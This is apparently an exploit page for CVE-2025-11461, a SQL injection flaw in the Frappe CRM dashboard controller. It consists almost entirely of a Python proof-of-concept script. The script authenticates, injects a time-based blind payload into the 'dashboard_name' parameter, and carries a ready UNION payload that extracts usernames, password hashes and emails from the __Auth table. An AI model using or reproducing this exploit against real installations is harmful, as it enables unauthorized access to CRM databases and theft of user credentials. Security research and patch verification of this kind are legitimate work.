CVE-2025-11461: Frappe CRM Dashboard Controller多个SQL注入漏洞

# CVE-2025-11461 PoC - Frappe CRM SQL Injection # Discovered by: [email protected] import requests import json TARGET_URL = "https://target-site.com/api/method/crm.api.dashboard.get" USERNAME = "[email protected]" PASSWORD = "password123" def login(): """Authenticate to Frappe CRM and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL.rsplit('/', 1)[0]}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def exploit_sql_injection(session): """Exploit SQL injection in dashboard parameter""" # Malicious payload to extract database version # This demonstrates blind SQL injection technique payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" headers = { "Content-Type": "application/json" } # Target vulnerable parameter in dashboard controller params = { "dashboard_name": payload, "refresh": "1" } try: response = session.get(TARGET_URL, params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed - time-based blind injection works") return True except requests.exceptions.Timeout: print("[+] SQL Injection confirmed - request timed out as expected") return True return False def extract_data(session): """Extract sensitive data using UNION-based injection""" # UNION injection to extract users table data union_payload = "1' UNION SELECT NULL,username,password,email,NULL,NULL,NULL,NULL FROM __Auth--" params = { "dashboard_name": union_payload, "refresh": "1" } response = session.get(TARGET_URL, params=params) if response.status_code == 200: print("[+] Data extraction successful") print(f"Response: {response.text}") return response.json() return None if __name__ == "__main__": print("[*] CVE-2025-11461 - Frappe CRM SQL Injection Tester") print("[*] Target: Frappe CRM Dashboard Controller") session = login() if session: print("[+] Login successful") if exploit_sql_injection(session): print("[+] Vulnerability confirmed!") # Uncomment to extract data: # extract_data(session) else: print("[-] Authentication failed")